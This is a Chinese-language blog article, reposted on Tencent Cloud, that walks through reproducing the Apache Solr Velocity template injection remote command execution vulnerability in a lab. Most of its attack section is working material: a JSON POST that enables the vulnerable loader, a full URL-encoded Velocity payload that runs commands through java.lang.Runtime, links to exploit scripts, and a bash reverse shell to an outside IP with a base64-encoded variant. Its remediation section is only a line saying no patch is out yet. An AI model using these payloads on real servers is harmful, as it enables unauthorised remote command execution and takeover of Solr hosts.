学习
实践
活动
工具
TVP
写文章
专栏首页安全漏洞环境学习Apache Solr Velocity模版注入远程命令执行漏洞复线

Apache Solr Velocity模版注入远程命令执行漏洞复线

0X01 漏洞概述

Apache Solr 是一个开源的搜索服务器。Solr使用Java语言开发,主要基于HTTP和ApacheLucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。

10月31日,安全研究员S00pY在GitHub发布了ApacheSolr Velocity模版注入远程命令执行的POC,经过其他安全团队和人员的验证和复线,此漏洞已经能够被批量利用。

0X02 环境搭建

方法一:下载源码

https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/

解压之后,不能直接启动,需要配置java环境变量,可参考之前的文章或者自行度娘。创建实例:

sudo ./solr create_core -c alice -d../example/example-DIH/solr/db –force

然后,启动环境

浏览器访问环境

http://172.16.1.137:8983/solr/#/

要获取相应的实例的路径,单击左侧的Core Admin即可知道相应的实例。

每个实例下都有相应的config配置信息,可以直接访问查看

http://172.16.1.137:8983/solr/alice/config

访问config文件,Post提交以下数据:

{
 "update-queryresponsewriter": {
   "startup": "lazy",
   "name": "velocity",
   "class": "solr.VelocityResponseWriter",
    "template.base.dir":"",
   "solr.resource.loader.enabled": "true",
   "params.resource.loader.enabled": "true"
  }
}

这里要注意,数据格式一定要按照json发送,如果不对的话,很容易返回500或者400的bad request错误,如下:

所以,这里发包的时候,如果不正确,请多尝试几次。

方法二:通过docker搭建,可以直接search,方便省事的话,可以直接用vulhub上phith0n写好的docker拉取,方法按照如下链接步骤操作

https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193

这里不在赘述。完成之后还是像上面一样bp发送数据修改配置。这样环境搭建基本完成了。

0X03 漏洞利用

当solr默认插件VelocityResponseWrite中

params.resource.loader.enabled参数值为true(默认false),再通过精心构造的get请求即可RCE。如果存在solr未授权访问,可post直接修改params.resource.loader.enabled参数值为true。所以,在上一步我们经过post提交数据已经修改了这两项参数值,所以目前漏洞是可以触发的。

s00py给出了poc数据,链接如下:

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

访问链接,执行利用操作

http://172.16.1.137:8983/solr/alice/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

执行结果

github上已经有很多研究人员放出漏洞利用脚本,如下等

https://github.com/theLSA/solr-rce
https://github.com/Eth4nHunt/Apache-Solr-RCE

使用其中一个,即可获取cmdshell:

在其他互联网环境的服务器上测试的时候,反弹shell很容易被分割中断,报错,命令如下:

bash -i >&/dev/tcp/45.32.2XX.XX/45670 >&1

但由于Runtime不能使用管道符等bash方法,所以需要进行编码

bash -c{echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQ1LjMyLjIyMy4zMy80NTY3IDA+JjE=}|{base64,-d}|{bash,-i}

按照phith0n的解释:

具体详情解释参考

https://zsxq.tricking.io/topic/501/

编码之后,我们再次测试,可以成功获取shell

0X04 加固修复

官网暂未发布相关漏洞补丁,及时关注官网更新。

http://lucene.apache.org/solr/downloads.html

0X05 参考链接

https://nosec.org/home/detail/3113.html

https://www.anquanke.com/post/id/190039

https://zsxq.tricking.io/topic/501/

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

https://github.com/shadow-horse/Apache-Solr-Velocity-RCE

文章分享自微信公众号:
安全漏洞环境学习

本文参与 腾讯云自媒体分享计划 ,欢迎热爱写作的你一起参与!

作者:Cry3Ta1
原始发表时间:2019-11-01
如有侵权,请联系 cloudcommunity@tencent.com 删除。
登录 后参与评论
0 条评论

相关文章

  • Apache Solr Velocity模版注入远程命令执行漏洞复现以及 POC 编写

    19 年 10 月 31 日,安全研究员 S00pY 在 GitHub 发布了 ApacheSolr Velocity 模版注入远程命令执行的 POC,经过其他...

    信安之路
  • 漏洞预警 | Apache Solr Velocity 模板远程代码执行漏洞

    Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现 近日国外安全研究员...

    鸿鹄实验室
  • 【漏洞预警】Apache Solr Velocity远程代码执行漏洞处置手册

    10月30日,@_S00pY公开了Apache Solr 远程代码执行漏洞的利用方式,攻击者可通过Velocity模板实现远程代码执行。经测试,该漏洞可以成功触...

    绿盟科技安全情报
  • Solr Velocity模板远程命令执行漏洞+反弹shell

    默认端口是8983,我们访问这个地址,然后在core admin中找到了alice

    字节脉搏实验室
  • Apache Solr 远程命令执行漏洞(CVE-2019-0193)

    Apache Solr 是一个开源的搜索服务器。Solr使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apa...

    墙角睡大觉
  • CVE-2019-0193:Apache Solr远程命令执行漏洞复现

    在Burp中发送以下POC即可执行命令弹出计算器,下面的<your_core_name> 需要替换为你获取到的 core 的 name(共两处)

    Timeline Sec
  • Apache Solr 漏洞复现

    Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558) 漏洞描述

    黑白天安全
  • Apache Solr漏洞总结

    Apache Solr 是Apache开发的一个开源的基于Lucene的全文搜索服务器。其集合的配置方法(config路径)可以增加和修改监听器,通过RunEx...

    黑白天安全
  • Apache Solr Velocity模板注入RCE漏洞复现

    当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。

    7089bAt@PowerLi
  • Apache Solr Velocity模板注入RCE漏洞复现

    当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。

    用户1631416
  • Apache Solr CVE-2019-17558漏洞复现

    Apache Solr是一个企业级搜索平台,用Java编写且开源,基于Apache Lucene项目。

    sugarbeet
  • 漏洞预警:Apache Solr 远程代码执行漏洞

    Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件...

    Khan安全团队
  • Apache Solr RCE

    10⽉30⽇,国外研究⼈员S00pY,公开了Apache Solr的命令执⾏漏洞的利⽤⽅式。经验证,漏洞可以成功触发,官⽅暂未发布补丁。

    贝塔安全实验室
  • Apache Solr远程命令执行复现

    环境可以使用/vulhub/solr/CVE-2019-0193/的环境,进入目录后直接 docker-compose up -d 如下:

    糖果
  • [漏洞预警]Apache之Solr Velocity模板远程代码执行

        最近几日,某国外安全研究员"s00py"公开了一个Apache Solr的Velocity模板注入的漏洞.经过圈里大佬们研究,发现该0day漏洞存在,并...

    洛米唯熊
  • CVE-2020-13957:Apche Solr 未授权上传漏洞复现

    上传configset——基于configset再次上传configset(跳过身份检测)——利用新configset创造collection——利用solrV...

    Timeline Sec
  • Log4j爆核弹级漏洞,大厂中招、公司炸锅了...

    出处:https://www.zhihu.com/question/505025655/answer/2265086040

    纯洁的微笑
  • Apache Log4j 远程代码执行漏洞批量检测工具

    漏洞描述 由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,Apache...

    C4rpeDime
  • apache solr漏洞 可导致服务器被攻击

    apache最近爆出的漏洞越来越多,旗下的solr产品存在远程服务器执行恶意代码漏洞,该漏洞产生的主要原因是因为apache dataimporthandler...

    网站安全专家

扫码关注腾讯云开发者

领取腾讯云代金券